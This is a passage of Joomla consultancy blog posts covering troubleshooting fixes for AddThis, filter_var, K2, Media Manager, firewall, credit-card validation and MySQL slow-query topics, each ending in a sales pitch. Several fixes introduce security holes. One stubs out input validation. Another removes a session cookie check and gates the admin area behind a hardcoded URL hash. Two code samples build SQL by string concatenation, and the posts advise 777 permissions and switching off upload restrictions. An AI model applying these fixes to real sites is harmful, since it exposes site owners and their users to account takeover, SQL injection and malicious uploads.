A client emailed us late at night yesterday and told us that all of the pages on his Joomla website have a weird hash in the URL. He told us that he just noticed the problem and he needed it fixed immediately. So, we checked the website and it was something we haven’t seen before: every page we went to had an anchor attached to it. For example, when clicking on the Our Services page on our client’s website, the link in the address bar was: http://www.ourclientjoomlawebsite/our-services.html#_U0123456789A. What was even weirder was that the link to the Our Services page did not contain that anchor!

So, we took a closer look and we discovered that the anchor was added after the page was fully loaded – which means that it was a JavaScript script that was doing this mess. After a lot of investigation (we’re saving you hours here!), we discovered that it was a piece of code used to display the AddThis widget which was responsible for this. Here’s that code (the code was placed in a Custom HTML module):

<script type="text/javascript">var addthis_config = {"data_track_addressbar":true};</script>

The code above explicitly instructs the browser (through JavaScript) to track data in the address bar – which means that it has to add the hash in order to track the data. Changing the above code to the below one fixed the problem:

<script type="text/javascript">var addthis_config = {"data_track_addressbar":false};</script>

Now – after fixing it, we started wondering: how come the people at AddThis (which is a hugely used widget) allow for such a poor technique for tracking their famous product? And how many other JavaScript widgets have the same problem? We then thought that we were right in being always cautious when referencing JavaScript code located on a 3rd party website; you never know when this code goes berserk and starts doing weird things on a website!

So, if you’re having the problem where a weird hash suddenly shows up in the URL of each and every page of your Joomla website, then take a look at the module containing the AddThis code, and try to fix it using our above method. If you don’t have AddThis, then it might be another JavaScript code doing this (to confirm this, try disabling JavaScript on your browser and see if the problem’s still there). If this is the case (e.g. the problem is caused by another JavaScript code) and if you can’t fix it yourself, then how about asking for our help? Just contact us and we’ll fix the problem for you as quick as possible and for a very reasonable cost!

How to Fix “Call to undefined function filter_var” Error on Joomla

A well known client of us came to us yesterday evening and told us that he was getting a blank page when he saves the user’s data on a custom made component. We knew there was a fatal error somewhere so we set the “Error Reporting” to “Maximum” and we tried to save the profile, and we saw the following error:

Fatal error: Call to undefined function filter_var() in /components/com_user/controller.php on line 74

We became perplexed when we saw the above error: Our client was using Joomla 1.5 which does not require the availability of the function filter_var. For those who don’t know, filter_var is a PHP function that sanitizes/validates input (such as checking if a POST field is a valid email). This function is only available as of PHP 5.2.0 – our client had PHP 5.1.6.

After a quick investigation, we discovered that the controller.php file located under the /components/com_user/ has been modified to accommodate our client’s needs – but it was assumed at the time of modification that our client was using a PHP version that is higher or equal to version 5.2.0.

We had 4 options to fix the problem:

  1. Upgrade the PHP version to the latest version on our client’s server

    This option seemed at first glance the best option, but we dismissed it nearly immediately, because upgrading PHP may have repercussions on other areas of the website, especially when taking into consideration that Joomla’s core was heavily modified (there were many files other than the controller.php file that were modified). Our client was in a hurry and we did not want to create more work to solve the problem – albeit that more work is better on the long term.

  2. Implement the function filter_var from scratch and place it in a common PHP file

    This option made sense, but the problem is that the filter_var function is an extremely complicated and versatile function. Re-creating it from scratch might take days (and not hours). So, again, we dismissed this option.

  3. Remove all calls to filter_var from the code

    We thought, since the function never worked in the first place, why leave it there? Removing all instances of the function from the code will solve the problem. The validation was not working anyway (and it wasn’t critically needed).

    But, what if the client decides to upgrade PHP to the latest version in the future (which is something that will happen sooner or later)? He will lose that validation because it would have been already removed. Our third option was also dismissed.

  4. Create a skeleton of the filter_var function that always returns true

    We then pondered: Since we can’t upgrade PHP, we can’t re-create the function, and we can’t remove all instances of the function, then why not create a skeleton of the function and place it in a common include file? The skeleton filter_var function will just return the value (unmodified) in all circumstances – additionally, future compatibility can be maintained by ensuring that the skeleton function is only declared if it doesn’t already exist.

    So here’s what we did:

    • We opened the index.php located under the root of the website. We chose this file because it’s included across the board on the frontend – you can choose another common file if you wish. if you also have the problem on the backend, then you should add the below code to the index.php located under the administrator directory as well.
    • We added the following code to the index.php file (just before define( ‘_JEXEC’, 1 );):

      if (!function_exists('filter_var')){
      	function filter_var($value, $filter_type) {
      		return $value;
      	}
      }

    • We saved the file and uploaded it back and that solved the problem.

    Please note that this is not a long term solution because you will lose the validation/sanitation performed by the filter_var function – but, if you’re in a hurry and you need to address the problem rapidly, then this is the most convenient solution (it’s also the safest).

If you need help implementing the above solution or if you’re looking to upgrade PHP on your server to address this issue, then your best bet is to contact us. We can help you implement the above or ensure that a PHP upgrade on your server has no repercussions on your website. Our prices are affordable, our service is top notch, and our clients really love us! What more could you ask for?

How to Use a Hash in the URL to Authenticate Logins to a Joomla Website

This afternoon a new client called us and told us that he’s not able to login to the backend of his Joomla website. While we’ve seen his exact problem before (he wasn’t able to login and no error was displayed), we were not able to fix it using our standard techniques. So we spent literally over 10 hours trying to fix the problem but to no avail. We knew it had something to do with the session not being saved properly, but we couldn’t figure out the cause of the problem. Eventually, our youngest team member pointed out that the client was using a literally unknown web server (we can’t for the lives of us remember its name – but it was calling itself “Apache Like”), and so we did some testing and we eventually narrowed out the problem to the web server – this unknown web server just didn’t handle sessions the same way as Apache did – something that confused Joomla.

So, just to make sure, we asked him whether his hosting company changed its server environment lately, and he immediately forwarded us an email (sent from his hosting company) explaining the move to “a better”, “more performing”, and “more reliable” web server. We read the email and we wondered why on earth would anyone use an unknown web server to serve his clients. But enough rant…

We offered our client 2 choices:

  1. Switch his server environment to an orthodox LAMP environment.
  2. Let us devise a way (that may or may not be costly) to address the problem.

Our client, who was running a mission-critical website pertaining to his industry, went with the latter option. So, we disabled Joomla’s authentication for the backend and we used a secret hash (appended to the URL) to automatically authenticate the user. Here’s what we did, in details:

Step 1 – We disabled Joomla’s authentication

Disabling Joomla’s authentication can be done in many, many ways! We prefer the following method:

  • Open the file session.php located under the libraries/joomla/session folder.
  • Comment out lines 521, 522, 524, 527, and 528. In other words, the following code:

    if (!JRequest::getVar($session_name, false, 'COOKIE'))
    {
    	if (JRequest::getVar($session_name))
    	{
    		session_id(JRequest::getVar($session_name));
    		setcookie($session_name, '', time() - 3600);
    	}
    }
    

    should change to:

    // if (!JRequest::getVar($session_name, false, 'COOKIE'))
    // {
    	if (JRequest::getVar($session_name))
    //	{
    		session_id(JRequest::getVar($session_name));
    		setcookie($session_name, '', time() - 3600);
    //	}
    //}
    

  • Save the file and upload it back.

Step 2 – Authenticate Using a Hash in the URL

Authenticating users using a hash in the URL means that by having something like http://www.yourjoomlawebsite.com/administrator/index.php?myhash=[secret_hash] will allow you to login to the website without entering any username and password (provided, of course, the secret_hash is correct). Authenticating using a hash can be done the following way:

  • Open the file index.php located under the administrator directory.
  • Add the following code to the top of the index.php file:

    $myHash = $_GET['myhash'];
    if (empty($myHash))
    	$myHash = $_COOKIE['myhash'];
    if ($myHash != 'abcdefg1234567'){
    	die('No access');
    }
    else{
    	 setcookie('myhash', 'abcdefg1234567');
    }

    The above code ensures that only the URL with the right hash (which is abcdefg1234567 in our case) can gain access to the admin section. Additionally, it ensures a persistent authentication across the backend by setting and getting a cookie.

  • Save the index.php file and upload it back.

As you can see from the above, it’s a simple solution. It’s also far from ideal (yes – we admit it), but if the environment has problems with sessions, it might be the only solution.

If you’re having session issues related to the environment when logging in to your Joomla website, then fear not, your problem has a solution, and we can implement it for you. Just contact us and we’ll implement the above for you in no time and at a very affordable cost. Oh, and have we mentioned that we are the friendliest Joomla experts on this planet?

How to Migrate Joomla Articles’ Subtitles to K2

We have mentioned before that we are migrating a lot of websites from using Joomla’s core content to K2 because K2 is simply better (well, this is our opinion anyway). But, even though K2 provides all the tools to make the content migration an easy task, quite often, there are quirks here and there that need to be addressed manually to ensure a successful migration.

One of these quirks is that K2 articles, unlike Joomla articles, do not have the concept of a subtitle built-in. Of course, you might be thinking: “What, when did Joomla articles have any subtitle?” Technically, they didn’t – but there are some extensions that make good use of the unused title_alias field in the #__content table and treat it as a subtitle. The title_alias field was not used by Joomla’s core as of Joomla 1.5 (it is deprecated in Joomla 3.0).

Now going back to K2, its automatic migration of Joomla articles to K2 articles does not take into account the unused title_alias – additionally, K2 articles do not have subtitles. Thankfully, with itoctopus, there’s a simple solution to everything (well, nearly everything), so we devised a three-step process to circumvent this limitation:

  1. Step 1: Create an extra field called Subtitle

    Creating an extra field in K2 is extremely simple – and it can be done by just going to K2 -> Extra Fields, clicking on New on the top right, and then filling in the appropriate fields. It’s that simple!

  2. Step 2: Run the subtitle-migration script post article-migration

    The following migration script must be temporarily added to your index.php (on your website) in order to populate K2 articles with subtitles (we are assuming that you only have one extra field; the one that was created above):

    $db = &JFactory::getDbo();
    $sql = "SELECT title, title_alias FROM #__content WHERE title_alias <> ''";
    $db->setQuery($sql);
    $row = $db->loadAssocList();
    
    for ($i = 0; $i < count($row); $i++){
    	$sql = "SELECT id FROM #__k2_items WHERE title='".$row[$i]['title']."'";
    	$db->setQuery($sql);
    	$id = $db->loadResult();
    	
    	$subtitle = '[{"id":"1","value":"'.$row[$i]['title_alias'].'"}]';
    	$sql = "UPDATE #__k2_items SET extra_fields ='".$subtitle."' WHERE id='".$id."'";
    	$db->setQuery($sql);
    	$db->query();
    }

  3. Step 3: Modify your template to use K2’s subtitle

    Open the item.php file which is located under the components/com_k2/templates/[your_k2_template_name] directory and add the following script where you want to display the subtitle field:

    foreach ($this->item->extra_fields as $key=>$extraField){
    	if ($extraField->name == 'Subtitle')
    		echo($extraField->value);
    	else
    		continue;

That’s it!

Of course, if you’re not a programmer, then you might believe (and rightly so) that the above is a bit intimidating, and that’s why we exist! Just contact us and we’ll do the subtitle migration for you in the glimpse of an eye (it might take a bit more, but you get the point). And don’t you worry about our fees, they’re very, very affordable!

Common Errors on Joomla’s Media Manager

We have been working on Joomla websites for a long time – so long that we have reached a point that we know the common errors in nearly every Joomla feature. Below are the top common errors that Joomla administrators face when they’re using the Media Manager (we’re also explaining how to fix them):

  1. Unable to upload file

    This error usually happens when the upload to the server fails. Possible causes are:

    • Apache has no write permissions to the tmp directory: All files uploaded to a Joomla website are first uploaded to the tmp directory and then moved to the final directory once the upload is complete. This can be easily solved by changing permissions to the tmp directory to 777.
    • Apache has no write permissions to the images directory: As stated above, when a file is uploaded to the images directory, it is first uploaded to the tmp directory, and then moved to the images directory. If Apaches has no write permissions to the images directory, then the move fails, and subsequently the upload fails. The solution to this problem is change the permissions on the images directory to 777.

  2. This file is too large to upload

    There are two reasons for this error to happen:

    1. The file size exceeds the maximum allowed file size defined in your Media Manager Options: If, for example, the value of Maximum Size (in MB) is 100 MB in your Media Manager Options page (the Media Manager Options page can be accessed going to the Media Manager in your Joomla’s backend, and then clicking on Options on the top right) and you are trying to upload a 200 MB file, then you will see this error. The solution to this problem is to increase the Maximum Size (in MB) value to something higher.
    2. The upload_max_filesize, the post_max_size, or the memory_limit values are smaller than the size of the uploaded file: Even if you have changed the maximum size of an uploaded file to a very high number in your Media Manager Options page it might be that your host has a set, unchangeable limit on the maximum upload size. If this is the case, then you will need to ask your host to increase the maximum upload size (usually shared hosts will refuse such requests), or bite the bullet and switch to a VPS or higher (such as a dedicated server).

    Now you might be thinking, OK – that would take care of upload_max_file_size, but what about post_max_size and memory_limit? Well, the post_max_size is the total size that your POST data can have (e.g. the text and the uploaded files), which means that even if the post_max_size is slightly higher than the size of the file being uploaded, it is possible for the upload to fail, because it takes into consideration the text being submitted as well in the POST data (such as hidden fields). The memory_limit is even worse, because it encapsulates the size of the file being uploaded, as well as the memory required to serve the page. So, in the latter case, if you’re uploading a file that is 80 MB in size, and the PHP directive memory_limit is 100 MB, then the upload might fail if the upload script consumes more than 20 MB of memory (excluding, of course, the size of the uploaded file).

    Note that in the case where the size of the file uploaded is lower than post_max_size and memory_limit but the upload fails because of the reasons above, then you will see the error: “Unable to upload file” instead of “This file is too large to upload”. This is because such errors are not caught by Joomla’s check.

  3. This file type is not supported

    You cannot just upload a random file type to Joomla – any file type that you upload must be explicitly listed in the Media Manager Options page in the Legal Extensions field. So if, for example, you’re trying to upload a docx file (MS Word Document) and you see this error, then all you need to do is to add docx to the Legal Extensions field so that Joomla’s Media Manager supports it.

  4. Not a valid image

    Joomla, by default, doesn’t allow non-image uploads in the Media Manager (it is called the media manager, after all). This is because of safety concerns. A possible scenario where these safety concerns are valid is a disgruntled employee (who happens to have administrative access to your website) uploading (through Joomla’s Media Manager) a malicious PHP file that just deletes all the files that Joomla has write access to.

    An example in action where you will see this error is when you try to upload the docx file (even after adding docx to the Legal Extensions as per the above). Even though docx is now a legal file type, the upload fails because the file you’re trying to upload is not an image.

    This problem can be easily addressed by modifying Joomla’s Media Manager settings to allow uploads of non-image files. This can be done by logging in to the backend, clicking on the Options button on the top right, and then clicking on No next to Restrict Uploads. It’s that simple!

The above are the most common errors that Joomla administrators see when working on the Media Manager component. But, there is one subtle issue (it’s not really an error) where the upload fails without any error, it’s the http/https issue…

But what is the http/https issue?

The http/https issue is when the website is forced to work in https mode but the $live_site variable in the configuration.php file points to the http version of the website. When this is the case, all files uploaded through the Media Manager are processed through the https version of the website, but are submitted to the http version of the website. Since the latter version is not aware of the upload, the upload fails and the website is redirected back to the https version. This is a nasty bug in Joomla and fixing it require some changes to a core file. (Note: Changing the $live_site variable in Joomla means that even the frontend will work in https, which is typically not the desired behavior.)

If the latter problem is what is happening on your website, or if you need help with Joomla’s Media Manager, then feel free to contact us. Our rates are affordable, our work is professional, we are Joomla experts, and we pride ourselves in our availability and friendliness!

Your Joomla Website Is Really, Really Slow? Maybe It’s Your Firewall!

An old client of ours called us yesterday evening and told us that his website was extremely slow to load. Our first guess was that it was hacked, but it was not; his website was very clean. What could it be?

We then thought, well, maybe he has some huge queries running in the background and slowing down the whole website, so we enabled the MySQL Slow Query log on his Joomla website, but the log file was not populated with any slow query. We thought there was something wrong with the logging system, so we saved all the queries run by the server into a text file (all we needed to do was to slightly modify the setQuery function in the JDatabase class to write all the queries to a text file), and then we pasted all the queries into the SQL page in phpMyAdmin and ran them all in one shot, but they ran in under a second. Odd…

Maybe the load on the server was very high, we thought. So we checked the load on the server using top, and it was below 0.3 – an extremely comfortable load level (meaning that there are no load issues on the server whatsoever). Hmmm…

Our next attempt was to contact the host and tell them about the problem, maybe it’s a routing/DNS issue on their end. Their reply was immediate and clear: “The website loads extremely fast on our end, so it might be the script or it might be that your ISP is experiencing connection issues. Please take a look at your script’s code and/or check with your ISP.” A typical first response from any hosting company to throw the blame on anything but their servers. We were relentless, though… So we replied back: “We’re sure it’s not the script and we have checked the website from multiple places and multiple ISPs, and the problem is always there. Could you please check the website from outside your network? Maybe it’s a routing issue…” We got a reply that they’re going to take a “closer” look.

Sure enough, 10 minutes later, we got the following reply: “We’ve updated and tweaked your firewall… It looks like it was just the firewall blocking a little more than was necessary. It looks like the SYN_FLOOD protection was enabled, which will cause these sorts of issues sometimes. We’re sorry for the inconvenience this must have caused you. Please confirm that the issue is resolved and please let us know if you run into any more issues.” Ahaaaa!

So it was something on their network! Now, You might be wondering, what is this SYN_FLOOD thing? Well, for those of you who have some technical knowledge in the web, you might already know that there is something called DoS (Denial of Service attack). Denial of Service attack, in short, is a kind of malicious attack that will send many simultaneous connections from different IPs to the web server, until the server is brought down to its knees. One method of dealing with this is to limit the number of connections from an IP to a defined number (this is a setting that relates to the SYN_FLOOD term and is defined at the firewall level). Now remember, every file that is requested from the server and every image is a connection, which means that a web page that has 10 images, and that calls about 5 CSS files and 7 JavaScript files means that there are at least 28 connections (one master connection to the page, 12 for loading files, and 10 for loading images). If the aforementioned defined number is less than 28, then in nearly all cases, the page loading will be very slow, because the firewall will think that this is an attack (the firewall has no way to distinguish legitimate connections from malicious connections). What happened, in the case of the client, is that the maximum number of connections was always above that number – hence the extreme slowness of the website – increasing that number solved the issue.

Now, in case you’re experiencing the same problem then we suggest you call your host and ask them to check your firewall settings. If your host confirms that everything’s OK with your website (it’s important to be persistent), then the problem might be on your actual website, and this where we are very useful! Just contact us and we’ll sure fix the problem for you in no time and for a very affordable fee. By the way, we are the friendliest programmers you’ve ever worked with (and you’ll ever work with) – at least that’s what our clients tell us!

Credit Card Validation on Joomla

One of the most exciting things about owning a Joomla website is that one can build an e-commerce website in a very short period. Imagine that, it takes just a few days for you to sell your own products/services online and benefit from that huge market! But, unfortunately, in the real world, it’s not always a panacea.

Let’s take, for example, one of our clients who sells training videos on how to use the Internet. Since the absolute majority of his clientele consists of people who are nearly web-illiterate, then, needless to say, the amount of failed transactions that he was getting was enormous. For those who don’t know, there is a fee of about 20 to 35 cents for each transaction, whether that transaction is successful or not! Our client had to increase his price to offset the cost of failed transactions, a move that lowered interest in his products and ultimately reduced his profits. So, he came to us and asked for advice, and he was very glad he did.

Our first response to our client was: “Are you using Luhn to validate credit card numbers before sending them to the payment gateway?” Obviously, his immediate question was: “What is Luhn?”

And suddenly things were more interesting, because at this point we knew that we can help our client… So, let us first explain what is “Luhn”.

“Luhn” is a checksum algorithm that all credit card numbers have to comply with – in other words, a wrong credit card number will be immediately caught by the Luhn algorithm.

But, what is the advantage of using Luhn?

Since Luhn is an algorithm, then it can be implemented as a PHP function, and then integrated into VirtueMart’s checkout page (before sending the information to the payment gateway) or as a system plugin intercepting the checkout process. This means that instead of sending the payment gateway an erroneous card number, the error is caught at the Joomla level and the user is requested to verify the number. This means a saving of 20 to 35 cents every time someone enters a wrong credit card number. Since our client was having nearly a hundred failed transactions every single day because of wrong credit card numbers, we saved him hundreds of dollars every month by implementing the algorithm…

So, is that all?

No, not really… Our customer also had an even bigger problem. Many of his transactions had the wrong address, so not only he was paying the transaction fee on those transactions, he was losing a sale because his clients were not sure of the address on their credit cards. Again, he asked for our help on this one.

Our approach to solve the problem was very simple, we asked our client to scrap AVS (Address Verification System) checking and use CVV verification instead. In our experience, AVS can lead to many failed transactions and is more fraud-prone than CVV. Our customer, based on our recommendation, instructed to implement the change (e.g. drop AVS in favor of CVV) and everything worked like a charm. More sales were flowing in through his Joomla website and there was considerably less fraud. (Note that some payment gateways refuse to disable AVS checking, while others force their merchants to use AVS checking in conjunction with CVV verification.)

So, is that really all?

Well – not quite! There are several other credit card validation strategies that will reduce your fees and increase your ROI, and we can help you implement them on your Joomla website (after all, we are the Joomla experts!) Just contact us and you’ll see how efficient, knowledgeable, and reliable we are! Oh, and don’t you worry about our fees, they are really affordable.

Top 8 Reasons Why You Should Use K2

K2, for those who don’t know, is a powerful extension that can be used to completely replace Joomla’s own content management system. In other words, you no longer need to create Joomla articles and categories, you can just create K2 articles and categories. In fact, many of our customers use K2 and we are currently switching a fair few of our other customers to K2. By now, you might be wondering: “What’s the point of having a CMS within a CMS? What’s wrong with Joomla’s own CMS?”

To answer the second question, there’s nothing wrong with Joomla’s CMS – it is versatile, it is flexible, and it is powerful. But there are many reasons why K2 is more versatile, more flexible, and much more powerful. Here are the top 8:

  1. K2’s migration process is a breeze!

    Unlike Joomla, K2 does not change core and database structure with every version, and if it does, it provides a seamless way to migrate from one version to another. In fact, upgrading to the latest version of K2 consists (in most cases) of merely installing the latest version and boom – all the content is automatically migrated! There’s no need to jump through hoops to do that! While Joomla’s content migration can take hours if not days, K2’s content migration can take literally minutes (if migrated within the same Joomla version).

  2. Many prominent extensions are compatible with K2

    Although we don’t like sh404, we have to admit that it’s one of the most used and one of the most prominent Joomla extensions. Luckily, K2 has native (and easily modifiable) support for sh404 (it’s interesting to note that it’s K2 that supports sh404, and not the other way around).

    Additionally, there are many extensions that are made exclusively for K2, and all (we are using the word all responsibly here) extensions can be adapted to work with K2 instead of Joomla’s own content!

  3. K2 is easier than Joomla’s own CMS

    Hmmm… How could that be? Isn’t Joomla easy enough? Well, no it’s not! If you want to add an image to an article, you need to go to the media manager and do it from there. You will then need to go back to the article itself and insert the image from the article (unless, of course, you are using JCE Editor or another powerful editor, and not Joomla’s default editor). In K2, you can insert the image from the article itself! (You can even insert a whole gallery!)

  4. K2 has more features than Joomla’s own core

    Let’s start: Tags, native comments, custom fields, related items, etc… All of these are features that exist in K2, but not in Joomla. Many websites out there desperately need the aforementioned features, and resort to 3rd party extensions to address this!

    Oh, and did we mention native social sharing?

  5. K2 is stable

    Apart from the very few non-toxic, non-harmful bugs that we have encountered while working with K2, we can safely say that K2 is no less stable than Joomla’s own core. Also, keep in mind that it’s much easier (and less stressful) to fix something in K2’s core than fixing it in Joomla’s core.

  6. It is very easy to modify/adapt K2’s template to fit a site’s theme

    K2’s template has more or less the same structure of Joomla’s content template – and both can be overriden by the site’s template. This means that if you’re already familiar with Joomla’s theme overriding functionality, then you won’t have a problem with overriding K2’s theme!

  7. K2 has a huge community and a responsible core team

    There are many, many websites out there that use K2, and system administrators using K2 tend to share the problems that they’re encountering and the challenges that they’re facing with other K2 users. This has created over the years an active and a very large community.

    Additionally, we have noticed that K2’s core team is extremely proactive when it comes to fixing bugs. The team is also very responsible when releasing new versions (K2 is not the kind of extensions where the developers say: “Ooops, we have messed up on the previous version, please immediately uninstall it and use this version instead. No wait, we’ve messed up again! Etc…”).

  8. K2 is secure

    Last but not least – K2 is secure! In fact, we have not had a single instance so far of a hacked website where the culprit was a K2 vulnerability. We have to admit though that in many cases, the main culprit was Joomla (yes, it was an outdated version, but still!).

If you’re using K2, then we hope that you have enjoyed our list of the advantages of using K2. If you’re not using K2 but would like to, then contact us. We can easily migrate your website from using Joomla’s core for content management to using K2. The job might take a few days to accommodate all the features on your website, but it’s well worth it, and we’re not that expensive anyway! Go ahead, give us a call or shoot us an email!

How to Fix the “JUser: :_load: Unable to load user with ID: 62” Error on Joomla

Some of the very old websites that we migrate to Joomla 2.5 may show the following error on K2 or VirtueMart pages:

JUser: :_load: Unable to load user with ID: 62 (Note that 62 might be another number, such as 42)

The reason for the error is that the component is trying to load a user (such as the user that created the article in K2) but is not able to find it (which is very normal in a Joomla 2.5 migration, since the main super administrator, who typically has an ID of 62 in Joomla 1.5, has a different ID in Joomla 2.5).

There are multiple fixes for this issue:

  • Suppress the error by changing a core file

    Although we really don’t like changing core files, we have to say that this an extremely easy fix that is guaranteed to work. Here’s how to do it:

    • Open the file user.php (through FTP) located under the libraries/joomla/user directory.
    • Remove the following line (which is line 886):

      JError::raiseWarning('SOME_ERROR_CODE', JText::sprintf('JLIB_USER_ERROR_UNABLE_TO_LOAD_USER', $id));

    • Save the file and upload it back.

    • That’s it!

    Note that even if the user.php is overwritten in a future Joomla update, all you need to do is to apply the above again and you should be OK!

  • Set the JLIB_USER_ERROR_UNABLE_TO_LOAD_USER string to empty

    This is another change to a core file, but this change is less likely to be overridden by future Joomla updates, this is because you are changing a language file. Here’s how to do it:

    • Open the file en-GB.lib_joomla.ini located under the language/en-GB directory.
    • Change the following line (which is typically line 624):

      JLIB_USER_ERROR_UNABLE_TO_LOAD_USER="JUser: :_load: Unable to load user with ID: %s"

      to:

      JLIB_USER_ERROR_UNABLE_TO_LOAD_USER=""

    …and that should work!

  • Fix the data

    Fixing the data consists of going into the database and changing all references to the user ID 62 with another user (typically the first super admin created on your Joomla website).

    This can be done either manually or through a script. If done manually, then this can take many hours (if not days) and is definitely error prone. If done through a script, then it can be done quickly but you might risk breaking the whole website if your script goes berserk. Beware!

  • Set the ID of a newly created super administrator to 62

    You can’t choose which ID a user will have before it’s created. But, once that user is created, you can change its ID. Here’s how you can do that:

    • Create a super administrator through Joomla’s User Manager.
    • Change that user’s ID to 62 in the #__users table through phpMyAdmin.

    • Change the ID of that user in the table #__user_usergroup_map to 62.

    The above is, in our opinion, the best way to address this issue, but you will need to have access to phpMyAdmin (or you need to have programming skills) to do it.

  • Fix the script that tries to load the ID

    While this might sound like the best idea, it can turn into a horrible nightmare. This is because K2 and VirtueMart are both extremely complicated and delicate extensions and trying to change their core is much worse than changing Joomla’s own core. Keep clear if you’re not a programming expert, and consider the much easier options listed above!

If you’re seeing this error on your website and you don’t feel comfortable fixing it yourself (even after reading our guide), then why not contact us? We can fix it for you in no time, we won’t charge you much, and we are very, very reliable! What are you waiting for?

How to Make Multithumb Work with K2

Many of the Joomla websites we work on have multithumb installed. Multithumb, in case you don’t know what it is, is a Joomla plugin that automatically converts images to thumbnails (or smaller images) so as not to break the layout of the page. In some cases, multithumb works perfectly, but in many cases, its settings need some tweakings for it to work…

For example, if you’re using K2 as your main content engine and you need to create thumbnails of the images in your K2 articles, then multithumb will not work in its default settings. However, it’s very easy to address that! Here’s what you need to do:

  • If you want multithumb to work in the itemlist view of K2
    1. Go to Extensions > Plug-in Manager.
    2. Search for multithumb and then click on the multithumb plugin.

    3. On the right hand side, click on Integration Parameters.

    4. Change the value of Blog Page rules to:

      option=com_content&view=featured,option=com_content&layout=blog,option=com_k2&view=itemlist

  • If you want multithumb to work in the article view of K2

    1. Do the steps 1 to 3 above.
    2. Change the value of Article Page rules to:

      option=com_content&view=article,option=com_flexicontent&view=items,option=com_k2&view=item

But, what about excluding specific categories?

Since the items in K2 and Joomla articles both have catid as the name of the field containing the id of the category that this item/article belongs to, then, thankfully, there is no need to modify the multithumb plugin to accommodate this functionality.

So, is that really it?

Well, in some cases, it is not. In fact, on many websites we worked on where most of the content came from K2, we had to modify the multithumb plugin (not just its parameters) to make it fully compatible with K2. So, if you implement the above steps and they don’t work for you, then most likely the multithumb plugin needs to be modified – contact us if you need help doing that! We are experts in Joomla, our fees are affordable, we work very fast, and we are the friendliest programmers on this planet, period!

Update October 2013: There is a bug with some versions of multithumb that results in multithumb ignoring the blog rule settings. To fix this bug, open the multithumb.php located under the plugins/content/multithumb directory, and change the first instance of IS_BLOG_RULE to is_blog_rule. If you don’t do that, multithumb will not work in K2 categories.

K2 Search Not Working for 3 Letter Words? Here’s How to Fix!

One of the projects we are currently working on is converting a website from using Joomla’s content to K2’s content. In other words, all the articles, categories, images, are migrated to K2 and the website must display all its content from K2. Additionally, all the modules that are using Joomla’s content must be modified to use K2. While it might seem an easy project, it is not…

One of the smarter modules that didn’t need to be converted was the RokAjaxSearch module. This module (for those of you who don’t know) adds an Ajax powered search functionality to a Joomla website. What was really impressive about it is that all we needed to do to make it work with K2 was to disable Joomla’s specific search plugins (specifically Search – Content and Search – Categories) and enable K2’s specific search plugin (Search – K2).

However, we noticed a small quirk in the search behavior. The module was not returning any results from search queries of 3 characters or less. For example, search for the word the returned nothing, although the site had many thousand articles (all in English), which meant that it definitely had the word the somewhere.

After spending some time investigating the issue, we’ve zeroed in on the cause. It was the following line in the k2.php plugin file located right under the plugins/search/k2 directory:

$query .= "MATCH(i.title, i.introtext, i.`fulltext, i.extra_fields_search, i.image_caption, i.image_credits, i.video_caption, i.video_credits, i.metadesc, i.metakey) AGAINST ({$text} IN BOOLEAN MODE))";

Let us explain… The above line is part of the search query that runs every time the user searches for something. For those of you who are technical, the MATCH…AGAINST pattern is an efficient mechanism to perform a full text search, and it is much better (and more efficient) than using LIKE. On the flip side, however, MATCH…AGAINST cannot work on 3 letter words (unless MySQL is compiled in a non-standard way – which is something that only very advanced system administrators can do), but LIKE can. So, we had 2 options to fix the problem:

  1. Recompile MySQL
  2. Use LIKE instead of MATCH…AGAINST for 3 letter words

Obviously, we went with the second option, and so we changed the above line to the following:

if (strlen($searchText) == 3)
	$query .= " i.title LIKE '%$searchText%' OR i.introtext LIKE '%$searchText%' OR i.`fulltext` LIKE '%$searchText%')";
else
	$query .= "MATCH(i.title, i.introtext, i.`fulltext`, i.extra_fields_search, i.image_caption, i.image_credits, i.video_caption, i.video_credits, i.metadesc, i.metakey) AGAINST ({$text} IN BOOLEAN MODE)

This has worked beautifully!

Two things to note in our fixed code: 1) $searchText is the unaltered search query that was entered by the user (after filtering, of course), and 2) we did == 3 instead of <= 3 because we wanted search queries of less than 3 characters to be ignored.

If you’re having problems with K2 search and need help with it, or if you’re having another Joomla problem, then why not contact us? We are unbelievably fast, we are hard workers, we are experts in Joomla, and our prices are very, very affordable!

Using the Slow Query Log to Reveal Bottlenecks on Your Joomla Website

Note 1: This post is targeted at system administrators with hands-on experience with MySQL. If you’re not a technical person, then please forward this post to your system administrator (you can always hire us if you don’t have one!).

Note 2: You will need root access to your server’s shell to implement the instructions in this post.

You wake up one day refreshed and ready for action, you have your coffee and your little breakfast, and then you sit down behind your desk to start work – hoping it’ll be another productive and profitable day! You turn on your PC and browse to your Joomla website to check if everything’s OK, but, to your surprise, your website loads very, very slowly. You think it might be a problem with your connection, so you visit other websites, and they’re all good. Hmmmm!

You remember reading our post that states that slowness in Joomla might be the sign of a hacked website, so you do all the necessary checks, and you rule that out. “Might it be my host?”, you wonder… So you call your host, trying to gently blame the problem on them, and asking them politely to fix it. Your host’s support personnel points out that everything is OK from their end, but the load on your server is quite high – almost reaching 100%. Aha! Now you’re on to something, because when the load is that high on a web server, then in 99% of the cases it is a heavy query (or a series of heavy queries) being executed by MySQL and reducing the performance.

So, just to make sure, you login through ssh to your server, and your run the following command:

top
(Yes – it’s just one word!)

As expected, you see the mysqld process exhausting most of your server’s processing power. So now that you’re sure that the culprit is MySQL, the next step is to determine which query (or queries) is (are) causing the bottleneck. Thankfully, there is something called the Slow Query Log, which is a MySQL tool that logs the database queries that are taking a long time to execute to a file of your choice.

Here’s how to enable the Slow Query Log in MySQL:

  • Login through ssh as root to your web server (we are assuming that your database server is the same as your web server).
  • Create the file mysql_slow_queries.log under the /tmp directory. This can be done using the following command:

    touch /tmp/mysql_slow_queries.log

  • Ensure that all users are able to write to the file that you have created above by issuing the following command:

    chmod 666 /tmp/mysql_slow_queries.log

  • Open the file /etc/my.cnf in edit mode (through vi or nano) and add the following line (to the end of the file):

    log_slow_queries=/tmp/mysql_slow_queries.log

    This tells MySQL to write all slow queries to the file mysql_slow_queries.log located under the tmp directory.

  • Restart MySQL. This is done using the following command:

    /etc/init.d/mysql restart

    Note that restarting MySQL will cause a very brief downtime on your website. If the above command hangs or fails, then contact your host immediately!

After doing the above, MySQL will log all queries which are taking more than 2 seconds (2 seconds is the default) to execute. To change the minimum amount of time for a query to considered as slow (and thus logged), you need only to change the value of long_query_time in the /etc/my.cnf file (and, of course, restart MySQL).

Now, the next time your Joomla website has performance issues because of a slow query, you will know which one it is (because it will be logged), and once you know that, all you need to do is to optimize that query. So, now your question is most likely: “How can I optimize a query?”

Well, a query is slow because of two main reasons:

